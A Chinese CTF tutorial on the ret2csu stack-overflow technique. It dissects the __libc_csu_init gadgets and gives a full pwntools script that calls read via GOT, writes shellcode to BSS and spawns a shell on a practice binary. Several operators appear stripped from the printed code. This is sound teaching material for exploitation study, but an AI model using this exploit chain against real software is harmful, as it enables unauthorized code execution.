写在前面在上一篇 64 位 ROP 拼接中我们假设能顺利找到pop rdi、pop rsi甚至pop rdx。但真实做题时你会发现小程序里往往只有pop rdi根本找不到控制rdx的 Gadget当你卡在无法控制第三个参数时就是ret2csu出场的时候了。这是 CTF PWN 的必考知识点掌握它你就掌握了 64 位栈溢出的“万能钥匙”。 目录痛点重现为什么我们需要 ret2csu探秘__libc_csu_init双星 Gadget 的诞生核心推演csu Gadget 的调用约定与传参逻辑实战演练用 ret2csu 完美构造read(0, bss, 0x100)通用 Gadget 来源拓展与总结1. 痛点重现为什么我们需要 ret2csu假设我们要调用read(0, bss_addr, 0x100)把 Shellcode 读到 BSS 段。根据 64 位调用约定我们需要分别控制rdi0,rsibss_addr,rdx0x100。用ROPgadget查找半天结果如下0x0000000000401193 : pop rdi ; ret 0x0000000000401191 : pop rsi ; pop r15 ; ret没有pop rdx此时rdx里是一个未知的残留值如果我们强行调用read可能会因为读取长度不对而失败。怎么办在 64 位 ELF 程序中只要不是极其精简的静态链接程序几乎都包含一个叫__libc_csu_init的初始化函数。里面藏着一组固定的汇编代码被称为csu Gadget。2. 探秘__libc_csu_init双星 Gadget 的诞生用objdump -d ./vuln查看__libc_csu_init函数我们关注它的末尾两段代码不同 Glibc 版本地址可能不同但逻辑完全一致假设性汇编输出Gadget 1 —— 俗称“尾 Gadget”0x4011e0: mov rdx, r14 0x4011e3: mov rsi, r13 0x4011e6: mov edi, r12d 0x4011e9: call QWORD PTR [r15rbx*8] 0x4011ed: add rbx, 0x1 0x4011f1: cmp rbp, rbx 0x4011f4: jne 0x4011e0假设性汇编输出Gadget 2 —— 俗称“头 Gadget”0x4011fa: pop rbx 0x4011fb: pop rbp 0x4011fc: pop r12 0x4011fe: pop r13 0x401200: pop r14 0x401202: pop r15 0x401204: ret这就是我们的“万能积木”。Gadget 2 负责给寄存器赋值Gadget 1 负责把值传递给rdi, rsi, rdx并发起调用。3. 核心推演csu Gadget 的调用约定与传参逻辑这两段代码是怎么配合的我们需要逆推它们的约束条件控制 rdx, rsi, rdiGadget 1 中rdx r14,rsi r13,edi r12d。所以我们只要用 Gadget 2 控制r14, r13, r12就等于控制了三个传参寄存器注意edi是r12d32 位截断所以r12的高 32 位必须为 0。跳转目标[r15rbx*8]Gadget 1 会call [r15rbx*8]。这是在调用一个函数指针。为了简单我们通常令rbx 0这样它就变成了call [r15]。注意r15存放的是指针的指针如果我们要调用readr15必须指向readgot因为 GOT 表里存放着read的真实地址。跳出死循环call结束后代码执行add rbx, 1然后cmp rbp, rbx。如果不相等就会跳回0x4011e0死循环。所以我们必须让rbp rbx 1。既然前面设了rbx 0这里就必须设rbp 1。接力到下一个 Gadget循环跳过后代码继续往下走在 Gadget 1 和 Gadget 2 之间通常还有add rsp, 8等指令最终会走到 Gadget 2 的 Pop 序列然后再ret。这意味着我们在构造 Payload 时call指令后面还要留出对应的空间给add rsp, 8和 6 个 Pop 来消耗最后接上我们下一个 ROP 链的地址。4. 实战演练用 ret2csu 完美构造read(0, bss, 0x100)目标调用read(0, bss_addr, 0x100)读完后跳转到 BSS 段执行 Shellcode。已知条件溢出偏移40Gadget 2 地址0x4011faGadget 1 地址0x4011e0readgot0x404018bss_addr0x404080栈结构设计推演| 40字节填充 (A*40) | | 0x4011fa (Gadget 2 地址) | - 第一次 ret开始 pop | 0x0 (rbx) | | 0x1 (rbp) | - rbp rbx 1 防死循环 | 0x0 (r12) | - edi 0 (fd0) | bss_addr (r13) | - rsi bss_addr (buf) | 0x100 (r14) | - rdx 0x100 (count) | readgot (r15) | - call [r15] - call read | 0x4011e0 (Gadget 1 地址) | - ret 到 Gadget 1 执行赋值和 call | 0x0 (add rsp,8 消耗的垃圾) | - call 结束后的 add rsp,8 | 0x0 (rbx 消耗) | | 0x0 (rbp 消耗) | | 0x0 (r12 消耗) | | 0x0 (r13 消耗) | | 0x0 (r14 消耗) | | 0x0 (r15 消耗) | | bss_addr (最后 ret 的地址) | - read 读完数据后跳到 bss 执行Pwntools 构造代码from pwn import * context.arch amd64 p process(./vuln) elf ELF(./vuln) offset 40 csu_gadget1 0x4011e0 # mov rdx... csu_gadget2 0x4011fa # pop rbx... read_got elf.got[read] bss_addr 0x404080 payload bA * offset # 1. 跳到 Gadget 2 开始赋值 payload p64(csu_gadget2) payload p64(0) # rbx 0 payload p64(1) # rbp 1 payload p64(0) # r12 - edi 0 payload p64(bss_addr) # r13 - rsi bss_addr payload p64(0x100) # r14 - rdx 0x100 payload p64(read_got) # r15 - call [read_got] # 2. 跳到 Gadget 1 执行 call read payload p64(csu_gadget1) # 3. 处理 call 之后的残留指令 (add rsp,8 6个pop) payload p64(0) # add rsp, 8 消耗 payload p64(0) * 6 # 6 个 pop 消耗 # 4. 最终 ret 跳转到 bss 执行 shellcode payload p64(bss_addr) p.sendline(payload) sleep(0.5) # 等待程序执行 read # 发送 shellcode 到 bss 段 p.send(asm(shellcraft.sh())) p.interactive()模拟终端输出[*] Switching to interactive mode $ id uid1000(user) gid1000(user) groups1000(user)即使没有pop rdx我们依然完美控制了三个参数这就是 ret2csu 的统治力5. 通用 Gadget 来源拓展与总结除了__libc_csu_init还有哪些地方能挖到通用 Gadget_start/main函数头部有时候会有mov rdx, xxx的残留。动态链接器 (ld-linux-x86-64.so.2)如果题目没有开启 PIE 且能泄露 ld 的基址ld 里面有大量的万能 Gadget。利用ret2dlresolve这是更高阶的技巧通过伪造重定位表项来调用任意函数不需要找 Gadget后续进阶篇会讲。避坑指南ret2csu 在 Glibc 2.34 的高版本中__libc_csu_init的代码被优化了不再包含这套经典的 Gadget。如果在高版本题目中遇到请转向寻找ld.so中的 Gadget或使用ret2dlresolve。6. 结语ret2csu是每一位 PWN 选手必须刻进 DNA 的技巧。理解它的核心不在于死记硬背偏移而在于理解汇编流如何通过寄存器接力、如何通过栈平衡跳出循环。一旦跨过这道坎绝大多数 64 位栈溢出题在你眼中都将毫无秘密。下一篇我们将结合之前所学挑战进阶栈溢出伪造栈帧与ret2mprotect修改内存权限。如果本文对你有帮助请点赞收藏支持